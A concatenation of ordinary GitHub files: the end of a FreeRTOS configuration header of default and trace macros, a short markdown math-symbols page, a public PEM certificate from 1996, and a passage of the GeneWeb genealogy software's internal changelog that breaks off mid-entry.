configUSE_APPLICATION_TASK_TAG 0 #endif #ifndef INCLUDE_uxTaskGetStackHighWaterMark #define INCLUDE_uxTaskGetStackHighWaterMark 0 #endif #ifndef INCLUDE_eTaskGetState #define INCLUDE_eTaskGetState 0 #endif #ifndef configUSE_RECURSIVE_MUTEXES #define configUSE_RECURSIVE_MUTEXES 0 #endif #ifndef configUSE_MUTEXES #define configUSE_MUTEXES 0 #endif #ifndef configUSE_TIMERS #define configUSE_TIMERS 0 #endif #ifndef configUSE_COUNTING_SEMAPHORES #define configUSE_COUNTING_SEMAPHORES 0 #endif #ifndef configUSE_ALTERNATIVE_API #define configUSE_ALTERNATIVE_API 0 #endif #ifndef portCRITICAL_NESTING_IN_TCB #define portCRITICAL_NESTING_IN_TCB 0 #endif #ifndef configMAX_TASK_NAME_LEN #define configMAX_TASK_NAME_LEN 16 #endif #ifndef configIDLE_SHOULD_YIELD #define configIDLE_SHOULD_YIELD 1 #endif #if configMAX_TASK_NAME_LEN < 1 #error configMAX_TASK_NAME_LEN must be set to a minimum of 1 in FreeRTOSConfig.h #endif #ifndef INCLUDE_xTaskResumeFromISR #define INCLUDE_xTaskResumeFromISR 1 #endif #ifndef INCLUDE_xEventGroupSetBitFromISR #define INCLUDE_xEventGroupSetBitFromISR 0 #endif #ifndef INCLUDE_xTimerPendFunctionCall #define INCLUDE_xTimerPendFunctionCall 0 #endif #ifndef configASSERT #define configASSERT( x ) #define configASSERT_DEFINED 0 #else #define configASSERT_DEFINED 1 #endif /* The timers module relies on xTaskGetSchedulerState(). */ #if configUSE_TIMERS == 1 #ifndef configTIMER_TASK_PRIORITY #error If configUSE_TIMERS is set to 1 then configTIMER_TASK_PRIORITY must also be defined. #endif /* configTIMER_TASK_PRIORITY */ #ifndef configTIMER_QUEUE_LENGTH #error If configUSE_TIMERS is set to 1 then configTIMER_QUEUE_LENGTH must also be defined. #endif /* configTIMER_QUEUE_LENGTH */ #ifndef configTIMER_TASK_STACK_DEPTH #error If configUSE_TIMERS is set to 1 then configTIMER_TASK_STACK_DEPTH must also be defined. #endif /* configTIMER_TASK_STACK_DEPTH */ #endif /* configUSE_TIMERS */ #ifndef INCLUDE_xTaskGetSchedulerState #define INCLUDE_xTaskGetSchedulerState 0 #endif #ifndef INCLUDE_xTaskGetCurrentTaskHandle #define INCLUDE_xTaskGetCurrentTaskHandle 0 #endif #ifndef portSET_INTERRUPT_MASK_FROM_ISR #define portSET_INTERRUPT_MASK_FROM_ISR() 0 #endif #ifndef portCLEAR_INTERRUPT_MASK_FROM_ISR #define portCLEAR_INTERRUPT_MASK_FROM_ISR( uxSavedStatusValue ) ( void ) uxSavedStatusValue #endif #ifndef portCLEAN_UP_TCB #define portCLEAN_UP_TCB( pxTCB ) ( void ) pxTCB #endif #ifndef portPRE_TASK_DELETE_HOOK #define portPRE_TASK_DELETE_HOOK( pvTaskToDelete, pxYieldPending ) #endif #ifndef portSETUP_TCB #define portSETUP_TCB( pxTCB ) ( void ) pxTCB #endif #ifndef configQUEUE_REGISTRY_SIZE #define configQUEUE_REGISTRY_SIZE 0U #endif #if ( configQUEUE_REGISTRY_SIZE < 1 ) #define vQueueAddToRegistry( xQueue, pcName ) #define vQueueUnregisterQueue( xQueue ) #endif #ifndef portPOINTER_SIZE_TYPE #define portPOINTER_SIZE_TYPE uint32_t #endif /* Remove any unused trace macros. */ #ifndef traceSTART /* Used to perform any necessary initialisation - for example, open a file into which trace is to be written. */ #define traceSTART() #endif #ifndef traceEND /* Use to close a trace, for example close a file into which trace has been written. */ #define traceEND() #endif #ifndef traceTASK_SWITCHED_IN /* Called after a task has been selected to run. pxCurrentTCB holds a pointer to the task control block of the selected task. */ #define traceTASK_SWITCHED_IN() #endif #ifndef traceINCREASE_TICK_COUNT /* Called before stepping the tick count after waking from tickless idle sleep. */ #define traceINCREASE_TICK_COUNT( x ) #endif #ifndef traceLOW_POWER_IDLE_BEGIN /* Called immediately before entering tickless idle. */ #define traceLOW_POWER_IDLE_BEGIN() #endif #ifndef traceLOW_POWER_IDLE_END /* Called when returning to the Idle task after a tickless idle. */ #define traceLOW_POWER_IDLE_END() #endif #ifndef traceTASK_SWITCHED_OUT /* Called before a task has been selected to run. pxCurrentTCB holds a pointer to the task control block of the task being switched out. */ #define traceTASK_SWITCHED_OUT() #endif #ifndef traceTASK_PRIORITY_INHERIT /* Called when a task attempts to take a mutex that is already held by a lower priority task. pxTCBOfMutexHolder is a pointer to the TCB of the task that holds the mutex. uxInheritedPriority is the priority the mutex holder will inherit (the priority of the task that is attempting to obtain the muted. */ #define traceTASK_PRIORITY_INHERIT( pxTCBOfMutexHolder, uxInheritedPriority ) #endif #ifndef traceTASK_PRIORITY_DISINHERIT /* Called when a task releases a mutex, the holding of which had resulted in the task inheriting the priority of a higher priority task. pxTCBOfMutexHolder is a pointer to the TCB of the task that is releasing the mutex. uxOriginalPriority is the task's configured (base) priority. */ #define traceTASK_PRIORITY_DISINHERIT( pxTCBOfMutexHolder, uxOriginalPriority ) #endif #ifndef traceBLOCKING_ON_QUEUE_RECEIVE /* Task is about to block because it cannot read from a queue/mutex/semaphore. pxQueue is a pointer to the queue/mutex/semaphore upon which the read was attempted. pxCurrentTCB points to the TCB of the task that attempted the read. */ #define traceBLOCKING_ON_QUEUE_RECEIVE( pxQueue ) #endif #ifndef traceBLOCKING_ON_QUEUE_SEND /* Task is about to block because it cannot write to a queue/mutex/semaphore. pxQueue is a pointer to the queue/mutex/semaphore upon which the write was attempted. pxCurrentTCB points to the TCB of the task that attempted the write. */ #define traceBLOCKING_ON_QUEUE_SEND( pxQueue ) #endif #ifndef configCHECK_FOR_STACK_OVERFLOW #define configCHECK_FOR_STACK_OVERFLOW 0 #endif /* The following event macros are embedded in the kernel API calls. */ #ifndef traceMOVED_TASK_TO_READY_STATE #define traceMOVED_TASK_TO_READY_STATE( pxTCB ) #endif #ifndef traceQUEUE_CREATE #define traceQUEUE_CREATE( pxNewQueue ) #endif #ifndef traceQUEUE_CREATE_FAILED #define traceQUEUE_CREATE_FAILED( ucQueueType ) #endif #ifndef traceCREATE_MUTEX #define traceCREATE_MUTEX( pxNewQueue ) #endif #ifndef traceCREATE_MUTEX_FAILED #define traceCREATE_MUTEX_FAILED() #endif #ifndef traceGIVE_MUTEX_RECURSIVE #define traceGIVE_MUTEX_RECURSIVE( pxMutex ) #endif #ifndef traceGIVE_MUTEX_RECURSIVE_FAILED #define traceGIVE_MUTEX_RECURSIVE_FAILED( pxMutex ) #endif #ifndef traceTAKE_MUTEX_RECURSIVE #define traceTAKE_MUTEX_RECURSIVE( pxMutex ) #endif #ifndef traceTAKE_MUTEX_RECURSIVE_FAILED #define traceTAKE_MUTEX_RECURSIVE_FAILED( pxMutex ) #endif #ifndef traceCREATE_COUNTING_SEMAPHORE #define traceCREATE_COUNTING_SEMAPHORE() #endif #ifndef traceCREATE_COUNTING_SEMAPHORE_FAILED #define traceCREATE_COUNTING_SEMAPHORE_FAILED() #endif #ifndef traceQUEUE_SEND #define traceQUEUE_SEND( pxQueue ) #endif #ifndef traceQUEUE_SEND_FAILED #define traceQUEUE_SEND_FAILED( pxQueue ) #endif #ifndef traceQUEUE_RECEIVE #define traceQUEUE_RECEIVE( pxQueue ) #endif #ifndef traceQUEUE_PEEK #define traceQUEUE_PEEK( pxQueue ) #endif #ifndef traceQUEUE_PEEK_FROM_ISR #define traceQUEUE_PEEK_FROM_ISR( pxQueue ) #endif #ifndef traceQUEUE_RECEIVE_FAILED #define traceQUEUE_RECEIVE_FAILED( pxQueue ) #endif #ifndef traceQUEUE_SEND_FROM_ISR #define traceQUEUE_SEND_FROM_ISR( pxQueue ) #endif #ifndef traceQUEUE_SEND_FROM_ISR_FAILED #define traceQUEUE_SEND_FROM_ISR_FAILED( pxQueue ) #endif #ifndef traceQUEUE_RECEIVE_FROM_ISR #define traceQUEUE_RECEIVE_FROM_ISR( pxQueue ) #endif #ifndef traceQUEUE_RECEIVE_FROM_ISR_FAILED #define traceQUEUE_RECEIVE_FROM_ISR_FAILED( pxQueue ) #endif #ifndef traceQUEUE_PEEK_FROM_ISR_FAILED #define traceQUEUE_PEEK_FROM_ISR_FAILED( pxQueue ) #endif #ifndef traceQUEUE_DELETE #define traceQUEUE_DELETE( pxQueue ) #endif #ifndef traceTASK_CREATE #define traceTASK_CREATE( pxNewTCB ) #endif #ifndef traceTASK_CREATE_FAILED #define traceTASK_CREATE_FAILED() #endif #ifndef traceTASK_DELETE #define traceTASK_DELETE( pxTaskToDelete ) #endif #ifndef traceTASK_DELAY_UNTIL #define traceTASK_DELAY_UNTIL() #endif #ifndef traceTASK_DELAY #define traceTASK_DELAY() #endif #ifndef traceTASK_PRIORITY_SET #define traceTASK_PRIORITY_SET( pxTask, uxNewPriority ) #endif #ifndef traceTASK_SUSPEND #define traceTASK_SUSPEND( pxTaskToSuspend ) #endif #ifndef traceTASK_RESUME #define traceTASK_RESUME( pxTaskToResume ) #endif #ifndef traceTASK_RESUME_FROM_ISR #define traceTASK_RESUME_FROM_ISR( pxTaskToResume ) #endif #ifndef traceTASK_INCREMENT_TICK #define traceTASK_INCREMENT_TICK( xTickCount ) #endif #ifndef traceTIMER_CREATE #define traceTIMER_CREATE( pxNewTimer ) #endif #ifndef traceTIMER_CREATE_FAILED #define traceTIMER_CREATE_FAILED() #endif #ifndef traceTIMER_COMMAND_SEND #define traceTIMER_COMMAND_SEND( xTimer, xMessageID, xMessageValueValue, xReturn ) #endif #ifndef traceTIMER_EXPIRED #define traceTIMER_EXPIRED( pxTimer ) #endif #ifndef traceTIMER_COMMAND_RECEIVED #define traceTIMER_COMMAND_RECEIVED( pxTimer, xMessageID, xMessageValue ) #endif #ifndef traceMALLOC #define traceMALLOC( pvAddress, uiSize ) #endif #ifndef traceFREE #define traceFREE( pvAddress, uiSize ) #endif #ifndef traceEVENT_GROUP_CREATE #define traceEVENT_GROUP_CREATE( xEventGroup ) #endif #ifndef traceEVENT_GROUP_CREATE_FAILED #define traceEVENT_GROUP_CREATE_FAILED() #endif #ifndef traceEVENT_GROUP_SYNC_BLOCK #define traceEVENT_GROUP_SYNC_BLOCK( xEventGroup, uxBitsToSet, uxBitsToWaitFor ) #endif #ifndef traceEVENT_GROUP_SYNC_END #define traceEVENT_GROUP_SYNC_END( xEventGroup, uxBitsToSet, uxBitsToWaitFor, xTimeoutOccurred ) ( void ) xTimeoutOccurred #endif #ifndef traceEVENT_GROUP_WAIT_BITS_BLOCK #define traceEVENT_GROUP_WAIT_BITS_BLOCK( xEventGroup, uxBitsToWaitFor ) #endif #ifndef traceEVENT_GROUP_WAIT_BITS_END #define traceEVENT_GROUP_WAIT_BITS_END( xEventGroup, uxBitsToWaitFor, xTimeoutOccurred ) ( void ) xTimeoutOccurred #endif #ifndef traceEVENT_GROUP_CLEAR_BITS #define traceEVENT_GROUP_CLEAR_BITS( xEventGroup, uxBitsToClear ) #endif #ifndef traceEVENT_GROUP_CLEAR_BITS_FROM_ISR #define traceEVENT_GROUP_CLEAR_BITS_FROM_ISR( xEventGroup, uxBitsToClear ) #endif #ifndef traceEVENT_GROUP_SET_BITS #define traceEVENT_GROUP_SET_BITS( xEventGroup, uxBitsToSet ) #endif #ifndef traceEVENT_GROUP_SET_BITS_FROM_ISR #define traceEVENT_GROUP_SET_BITS_FROM_ISR( xEventGroup, uxBitsToSet ) #endif #ifndef traceEVENT_GROUP_DELETE #define traceEVENT_GROUP_DELETE( xEventGroup ) #endif #ifndef tracePEND_FUNC_CALL #define tracePEND_FUNC_CALL(xFunctionToPend, pvParameter1, ulParameter2, ret) #endif #ifndef tracePEND_FUNC_CALL_FROM_ISR #define tracePEND_FUNC_CALL_FROM_ISR(xFunctionToPend, pvParameter1, ulParameter2, ret) #endif #ifndef traceQUEUE_REGISTRY_ADD #define traceQUEUE_REGISTRY_ADD(xQueue, pcQueueName) #endif #ifndef configGENERATE_RUN_TIME_STATS #define configGENERATE_RUN_TIME_STATS 0 #endif #if ( configGENERATE_RUN_TIME_STATS == 1 ) #ifndef portCONFIGURE_TIMER_FOR_RUN_TIME_STATS #error If configGENERATE_RUN_TIME_STATS is defined then portCONFIGURE_TIMER_FOR_RUN_TIME_STATS must also be defined. portCONFIGURE_TIMER_FOR_RUN_TIME_STATS should call a port layer function to setup a peripheral timer/counter that can then be used as the run time counter time base. #endif /* portCONFIGURE_TIMER_FOR_RUN_TIME_STATS */ #ifndef portGET_RUN_TIME_COUNTER_VALUE #ifndef portALT_GET_RUN_TIME_COUNTER_VALUE #error If configGENERATE_RUN_TIME_STATS is defined then either portGET_RUN_TIME_COUNTER_VALUE or portALT_GET_RUN_TIME_COUNTER_VALUE must also be defined. See the examples provided and the FreeRTOS web site for more information. #endif /* portALT_GET_RUN_TIME_COUNTER_VALUE */ #endif /* portGET_RUN_TIME_COUNTER_VALUE */ #endif /* configGENERATE_RUN_TIME_STATS */ #ifndef portCONFIGURE_TIMER_FOR_RUN_TIME_STATS #define portCONFIGURE_TIMER_FOR_RUN_TIME_STATS() #endif #ifndef configUSE_MALLOC_FAILED_HOOK #define configUSE_MALLOC_FAILED_HOOK 0 #endif #ifndef portPRIVILEGE_BIT #define portPRIVILEGE_BIT ( ( UBaseType_t ) 0x00 ) #endif #ifndef portYIELD_WITHIN_API #define portYIELD_WITHIN_API portYIELD #endif #ifndef pvPortMallocAligned #define pvPortMallocAligned( x, puxStackBuffer ) ( ( ( puxStackBuffer ) == NULL ) ? ( pvPortMalloc( ( x ) ) ) : ( puxStackBuffer ) ) #endif #ifndef vPortFreeAligned #define vPortFreeAligned( pvBlockToFree ) vPortFree( pvBlockToFree ) #endif #ifndef portSUPPRESS_TICKS_AND_SLEEP #define portSUPPRESS_TICKS_AND_SLEEP( xExpectedIdleTime ) #endif #ifndef configEXPECTED_IDLE_TIME_BEFORE_SLEEP #define configEXPECTED_IDLE_TIME_BEFORE_SLEEP 2 #endif #if configEXPECTED_IDLE_TIME_BEFORE_SLEEP < 2 #error configEXPECTED_IDLE_TIME_BEFORE_SLEEP must not be less than 2 #endif #ifndef configUSE_TICKLESS_IDLE #define configUSE_TICKLESS_IDLE 0 #endif #ifndef configPRE_SLEEP_PROCESSING #define configPRE_SLEEP_PROCESSING( x ) #endif #ifndef configPOST_SLEEP_PROCESSING #define configPOST_SLEEP_PROCESSING( x ) #endif #ifndef configUSE_QUEUE_SETS #define configUSE_QUEUE_SETS 0 #endif #ifndef portTASK_USES_FLOATING_POINT #define portTASK_USES_FLOATING_POINT() #endif #ifndef configUSE_TIME_SLICING #define configUSE_TIME_SLICING 1 #endif #ifndef configINCLUDE_APPLICATION_DEFINED_PRIVILEGED_FUNCTIONS #define configINCLUDE_APPLICATION_DEFINED_PRIVILEGED_FUNCTIONS 0 #endif #ifndef configUSE_NEWLIB_REENTRANT #define configUSE_NEWLIB_REENTRANT 0 #endif #ifndef configUSE_STATS_FORMATTING_FUNCTIONS #define configUSE_STATS_FORMATTING_FUNCTIONS 0 #endif #ifndef portASSERT_IF_INTERRUPT_PRIORITY_INVALID #define portASSERT_IF_INTERRUPT_PRIORITY_INVALID() #endif #ifndef configUSE_TRACE_FACILITY #define configUSE_TRACE_FACILITY 0 #endif #ifndef mtCOVERAGE_TEST_MARKER #define mtCOVERAGE_TEST_MARKER() #endif /* Definitions to allow backward compatibility with FreeRTOS versions prior to V8 if desired. */ #ifndef configENABLE_BACKWARD_COMPATIBILITY #define configENABLE_BACKWARD_COMPATIBILITY 1 #endif #if configENABLE_BACKWARD_COMPATIBILITY == 1 #define eTaskStateGet eTaskGetState #define portTickType TickType_t #define xTaskHandle TaskHandle_t #define xQueueHandle QueueHandle_t #define xSemaphoreHandle SemaphoreHandle_t #define xQueueSetHandle QueueSetHandle_t #define xQueueSetMemberHandle QueueSetMemberHandle_t #define xTimeOutType TimeOut_t #define xMemoryRegion MemoryRegion_t #define xTaskParameters TaskParameters_t #define xTaskStatusType TaskStatus_t #define xTimerHandle TimerHandle_t #define xCoRoutineHandle CoRoutineHandle_t #define pdTASK_HOOK_CODE TaskHookFunction_t #define portTICK_RATE_MS portTICK_PERIOD_MS /* Backward compatibility within the scheduler code only - these definitions are not really required but are included for completeness. */ #define tmrTIMER_CALLBACK TimerCallbackFunction_t #define pdTASK_CODE TaskFunction_t #define xListItem ListItem_t #define xList List_t #endif /* configENABLE_BACKWARD_COMPATIBILITY */ #ifdef __cplusplus } #endif #endif /* INC_FREERTOS_H */
{ "pile_set_name": "Github" }
--- title: Math symbols --- This is a math text, with symbols like ∀, λ, →
{ "pile_set_name": "Github" }
-----BEGIN CERTIFICATE----- MIIDeDCCAuGgAwIBAgIgYCYUeg8NJ9kO1q3z6vGCkAmPRfu5+Nur0FyGF79MADMw DQYJKoZIhvcNAQEFBQAwRTELMAkGA1UEBhMCVVMxFDASBgNVBAoTC0JDQTEwMTcx MTA0MSAwHgYDVQQDExdCcmFuZCBOYW1lOlByb2R1Y3QgVHlwZTAeFw05NjEwMjIw MDAwMDBaFw05NjExMjEyMzU5NTlaMEUxCzAJBgNVBAYTAlVTMRQwEgYDVQQKEwtQ Q0ExMDIxMTgyODEgMB4GA1UEAxMXQnJhbmQgTmFtZTpQcm9kdWN0IFR5cGUwgZ8w DQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAJyi5V7l1HohY6hN/2N9x6mvWeMy8rD1 6lfXjgmiuGmhpaszWYaalesMcS2OGuG8Lq3PkaSzpVzqASKfIOjxLMsdpYyYJRub vRPDWi3xd8wlp9xUwWHKqn+ki8mPo0yN4eONwZZ4rcZr6K+tWd+5EJZSjuENJoQ/ SRRmGRzdcS7XAgMBAAGjggFXMIIBUzBUBgNVHSMETTBLoSekJTAjMQswCQYDVQQG EwJVUzEUMBIGA1UEChMLUkNBMTAxMTE4MjmCIGApUs14Ad7t9VTGq2PpV8DylPQ7 aATM2mor7lc1fWvZMA4GA1UdDwEB/wQEAwIBBjAuBgNVHRABAf8EJDAigA8xOTk2 MTAyMjAxMjIwMFqBDzE5OTYxMTIxMjM1OTU5WjAbBgNVHSABAf8EETAPMA0GC2CG SAGG+EUBBwEBMBIGA1UdEwEB/wQIMAYBAf8CAQAwDwYEho1vAwEB/wQEAwICBDB5 BgSGjW8HAQH/BG4wbDAkAgEAMAkGBSsOAwIaBQAEFDJmNzRiMWFmNGZjYzA2MGY3 Njc2Ew90ZXJzZSBzdGF0ZW1lbnSAF2h0dHA6Ly93d3cudmVyaXNpZ24uY29tgRpn ZXRzZXQtY2VudGVyQHZlcmlzaWduLmNvbTANBgkqhkiG9w0BAQUFAAOBgQBn19R2 AgGvpJDmfXrHTDdCoYyMkaP2MPzw0hFRwh+wqnw0/pqUXa7MrLXMqtD3rUyOWaNR 9fYpJZd0Bh/1OeIc2+U+VNfUovLLuZ8nNemdxyq2KMYnHtnh7UdO7atZ+PFLVu8x a+J2Mtj8MGy12CJNTJcjLSrJ/1f3AuVrwELjlQ== -----END CERTIFICATE-----
{ "pile_set_name": "Github" }
Internal, very small, undocumented, or invisible changes ******************************************************** GeneWeb Version 5.02 -------------------- GeneWeb Version 5.00 -------------------- Preliminary remark: I neglected to record the Internal changes between version 4.10 and 01 Jul 2005, but there are a lot of them... I add them when I have some time (and some courage). * GeneWeb server or CGI (gwd) - [11 Dec 05] In update family form, when creating a new person, if conflict, display now at most 50 persons. - [04 Sep 05] Data base forum file can be splited in several files: forum, forum.1, forum.2, and so on. - [27 Aug 05] In marriage relation kind added "no sex check married". - [22 Aug 05] Changed behaviour of displaying a surname : grouping branches when grandchildren have same name (and not children). - [15 Aug 05] Added some shortcuts ("Alt-U" for "update", "Alt-P" for (update) "Person" and ""Alt-F" for "Update family"...) - [08 Aug 05] Fixed bug: in normal access, in personal page, some displayed children could have "x x" and not all for however visible children. Due to combination of authorized_age in perso.ml and fast_auth_age in util.ml (2nd unuseful and perturbating). - [14 Jul 05] Fixed small bug: URL without index (";opt=no_index") displayed "oc=" twice. * Consanguinity computing (consang) - [02 Jul 05] Fixed bug: when number of persons was greater than 1M, the consang applied to a *modified* database failed by "Segmentation fault" after the message "*** read persons". Bug at creation of database. This was due to initial bad save of array header (OCaml integer overflowed on sign). * Dag2html - [14 Aug 05] Fixed bug. Sometimes horiz bar linking two mates did not appear in case of children exchange to nearer them. Had some influence in relationship links "shortest path" because of cleaning up the code by unifying parts coded differently. * Setup program (gwsetup) - [06 Dec 05] Added option -only to set the file containing the only address authorized to connect (default = "only.txt" in directory set by option -gd). Added option -bindir to specify the directory where executables are installed (default = the directory set by option -gd). GeneWeb Version 4.10 -------------------- * General - [11 Aug 04] Some changes to make GeneWeb compilable by the new ocaml, version 3.08. * GeneWeb server or CGI (gwd) - [04 Oct 04] Accept now JPEG files with header "Exif". - [30 Sep 04] Changed decline system and updfam.txt and updind.txt to allow sentences like "insert child/children", particularly in languages with accusative form, like Esperanto (the translation correct being "enmeti idon/idojn", "n" being added to "ido" and to "idoj") - [10 Aug 04] Automatic reordering of marriages from the weddings date in personal pages of witnesses. - [30 Jul 04] When using CGI mode, added a way to delegate authentifi- cation to the http server (apache). - [16 Jul 04] Added code to prepare a possible version allowing to manipulate any kinds of DAGs, not only the ones where people have only two parents, for genealogy of other kinds than humans and animals. - [12 Jul 04] In families forms, added shortcut for created persons: when the birth place starts with "b/", the date and place are set to the baptism instead of birth. Added also "~year" as equivalent to "/year/" to indicate "about date". - [01 Jul 04] Changed all gif files into png. - [22 Jun 04] Fixed slowness of "find_free_occ" if many many names in the list. - [16 Jun 04] Added "history of updates" in wizards notes. - [24 May 04] Display the wizards notes by last modification, and a link has been added for alphabetic order. - [13 May 04] Added index files snames.inx, snames.dat, fnames.inx and fnames.dat to improve memory use in requests dispaying a surname or a first name. - [05 May 04] In URLs referencing somebody with his internal number (i=...), added ";oc=n", n being his occurrence number (only if wizard and n different from 0): useful for updates. - [22 Mar 04] Fixed bug: surnames by alphabetic order failed when surname starting with a space (case not expected). - [03 Mar 04] Added new optional field in wizard and friend password files. With an extra colon, gives user name, which is displayed by default as ident in "forum add" and in wizard notes. - [23 Feb 04] Submit in forum when wizard or friend is now in two buttons, instead of "Ok". - [16 Feb 04] Fixed bug: in ascend pages, the image link remained even if cgl on. - [12 Feb 04] Changed method output of "patches" file: instead of 1/ renaming "patches" into "patches~" 2/ writing "patches", which can be dangerous (writing of "patches" file can fail in the middle and therefore the database is no more accessible) or creating temporary bad accesses ("Internal message: end of file"). Now it: 1/ writes the file "1patches" 2/ renames "patches" into "patches~" 3/ renames "1patches" into "patches". Why didn't I do it earlier? - [24 Jan 04] Improved much memory usage on large databases by adding an access file (name.acc) of the names index (name.inx). Built when database created or after consang. Still work if name.acc does not exist yet (in this case, no optimization, of course). Very sensitive when searching somebody by name, first name or surname. - [24 Jan 04] Improved speed on large databases and/or no memory enough by removing some of the codes "let _ = base.data....array ()" which where supposed to improve speed but using much memory (several tenths of MB in my database 600K persons, instead of about 8MB without this code). - [05 Jan 04] Now, when database notes are modified, an intermediate page is displayed with a link to the "notes" page, instead of the "notes" page itself (to be consistent with other updates pages). - [23 Dec 03] Nicer calendars page. - [23 Dec 03] Optimization: suppressed no-loop-check for added or modified marriages when it is not necessary (for big databases, this check can take much time and memory). - [23 Dec 03] Added "no mention" in marriage kinds (display only "with ...", instead of "married with", "relationship with"...) - [15 Dec 03] Added ability to add parameter ";title=..." in URL to display a title for pages which have no titles. - [07 Dec 03] French revolution year is now displayed in French as "an" instead of "année". - [22 Nov 03] Improved speed in relation by shortest path (computing of "next" links were not optimized). - [14 Nov 03] Improved speed of displaying by first name or by surname when many changes have been done (file "patches" is big). - [25 Sep 03] Added ability to put macros of start.txt in "motd" (in general macros in variables defined by macro %V); useful for example to put a "motd" for only wizards. - [26 Aug 03] In the titles in display by surname, the surnames are now displayed in alphabetic order. - [17 Jul 03] Added URL variable "alwsurn": if "yes" the surnames are always displayed in display by surname and in descendants (same behaviour than the configuration variable "always_surname"). - [15 Jul 03] Changed the personal image URL: now displays an HTML page with the image inside without width and height bounds (before, the image URL displayed the image itself, but it does not work with all browsers). - [07 Jul 03] Changed "wrap=virtual" into "wrap=soft" in textareas. - [31 May 03] Fixed little problem which can be dangerous: in case of empty line in wizard (or friend) authorization file, everybody is wizard (or friend). - [01 Apr 03] Fixed bug for personal pages template: the macro "%prefix_no_templ" had the bad side effect to make the possible "templ=" removed in all the %prefix macros following it in the template file (perso.txt). - [06 Mar 03] Fixed bug: in the template perso.txt, the boolean value child.has_children did not work correctly. - [14 Feb 03] Changed the ability to send messages to wizards (see the change of [24 Dec 01]). Now the message files must be in the databases directory, sub-directory "etc", sub-sub-directory having the name of the database. The file named "mess_wizard_user.txt" is displayed to the wizard named "user" and the file named "mess_wizard.txt" is displayed to all wizards. - [06 Feb 03] Fixed bug: in displaying by slices, if the person's name contained quotes (for example), the coding/decoding did not work correctly and the button "OK" resulted in bad request. - [30 Jan 03] Added option -min_disp_req * GeneWeb compiler (gwc) - [05 Aug 04] Save memory in creating database by saving "persons" data in files. * GeneWeb uncompiler (gwu) - [04 May 04] Fixed small bug displaying in reverse order isolated persons with relations, resulting no fixpoint when doing gwc/gwu. * Gedcom to GeneWeb (ged2gwb) - [12 Feb 03] Fixed problem with places containing only spaces: now replaced with empty strings. * Setup program (gwsetup) - [08 Dec 03] Fixed problem of output files containing spaces. - [17 Sep 03] Added interface for option -uin (code from Olivier Pasteur). - [07 Mar 03] Fixed bug: the -lang parameter of gwsetup did not work when option -daemon was set. - [12 Feb 03] Added double quotes around directories for information lines. * GeneWeb databases Transfer Program (gwtp) - [08 Dec 03] Added option -noup to forbid uploads. GeneWeb Version 4.09 -------------------- * GeneWeb server or CGI (gwd) - [30 Dec 02] In history of updates, added in HTML comments the person's first name/surname/number. - [23 Dec 02] Now, gwd can definitively fail if errors Unix.EBADF or Unix.ENOTSOCK on "accept", because they make the server loop with the same error message. I don't know why it happens sometimes. - [18 Dec 02] Save now a file named base_u.txt in the cnt directory, recording the latest wizards updates. GeneWeb Version 4.08 -------------------- * Compilation - [29 Nov 02] Added option -warn-error for compilation with ocamlc and ocamlopt. * GeneWeb server or CGI (gwd) - [09 Dec 02] Added code in some.ml in order that, in the display by surname, the order is by birth date if "order=d" is added in the URL (code by Ludovic Ledieu). - [28 Nov 02] Fixed bug in displaying relationship by marriage: in the text "are at the same time case1 case2" the "case2" where sometimes false (problems of declinations, in particular). - [22 Nov 02] Added ability to add inline translations in template files (inline translations are parts of text starting with "[" immediately followed by a newline, explicit translations in languages (one by line), and ending "]"). - [14 Nov 02] Fixed bug: in notes, the spaces were incorrectly stripped. - [14 Nov 02] Changed links in forum so that the URL for "next message" is the same as the URL in the forum main page. This way, it is indicated as "visited" the same way. - [13 Nov 02] Renamed some flags names (had old shortcut names). - [08 Nov 02] Changed in Util.string_with_macros the filtering of tags: now positive list (good_tags_list) instead of negative list (dangerous_tags_list): this is better protection against present and future HTML tags. - [07 Nov 02] The option -images_url did not apply in pages from the "DOC" link. Fixed. - [26 Oct 02] Some cleanup in src/perso.ml, using more strings than prints. - [18 Oct 02] One space too many when displaying French Revolution and Hebrew dates. - [14 Oct 02] Fixed problem of displaying consanguinities: sometimes displayed a lot of digits (too much precision). - [04 Oct 02] When entering a complete name (first name + surname), if the spelling does not match, display now an intermediate page ("specify") even if there is only one matching person. - [16 Sep 02] Fixed bug: the "renamed" variable did not work. - [19 Aug 02] Fixed a declination problem in phrase (e.g. in German): grand-parents of the spouse of s.o. which was incorrectly translated: Großeltern von der Ehemann von s.o ("der" was displayed instead of "dem") * Base configuration files (base.gwf) - [03 Oct 02] Fixed bug: when variable "always_surnames" is "yes", did not however displayed the surname when several marriages. * Lexicon (lang/lexicon.txt) - [18 Nov 02] Merged "%1 of %2" and "%1 of (same or...) %1" into one only entry "%1 of %2"; the second case being separated with the first one by a slash. - [26 Sep 02] Added 2 phrases (months) in Russian (Eric Kvaalen). - [25 Jul 02] Fixed and completed some phrases in Russian (Yuri Gavaga). * Gedcom to GeneWeb (ged2gwb) - [22 Aug 02] Fixed bug with option -ls: when the surname held "ß" the following character was converted into uppercase. * Setup program (gwsetup) - [14 Nov 02] Added ability to more use the lexicon; added some phrases; simplified some template files thanks to that. - [03 Nov 02] Added macro "%Lxx;" replaced by the language whose id is "xx" by its translation in the current language. Use it in template files "gwd.htm" and "gwf_1.htm". Added in the gwsetup lexicon the entry "!languages", the same than the one of the gwd lexicon. GeneWeb Version 4.07 -------------------- * GeneWeb daemon/CGI (gwd) - [17 May 02] In ancestor horizontally displaying, added a table with nowrap. - [13 Apr 02] Fixed problem of displaying "ancestors of xx", "descendants of xx" and "cousins of xx" when "xx" is a name with declinations. - [09 Apr 02] Does not index any more the "public name" when there is no title. Added display of misc names in personal page if opt=misc in the URL. - [26 Mar 02] Does not fail any more if the file cnt/actlog is not writable. - [22 Mar 02] Fixed bug in the index of the descendants: they were no more displayed by families. * Setup program (gwsetup) - [20 Jun 02] Changed the macro prefix from "$" into "%", because of a small problem: the CVS macro $Id was also interpreted (generated a BAD MACRO text: not a problem since it was in comments, but...). - [13 Apr 02] Added a "lexicon.txt" file, in order to be able to accept different languages with characters encodings different from iso-8859-1 and for future possible use of translations common to several template files. * General - [11 Mar 02] Big cleanup of the code, changing French named identifiers into English. GeneWeb Version 4.06 -------------------- * GeneWeb daemon/CGI (gwd) - [08 Mar 02] Added option -trace_failed_passwd. - [05 Mar 02] Changed implementation of the bug fix about the "disconnection" when inserting children: removed the bufferization. A simpler solution was just to shutdown "SEND" the socket, read the possible answer, and then shutdown "RECEIVE". The change with version 4.04 (two versions before) is then just the reading of the browser answer: this was because it was not read that the browser was unhappy. GeneWeb Version 4.05 -------------------- * GeneWeb daemon/CGI (gwd) - [24 Feb 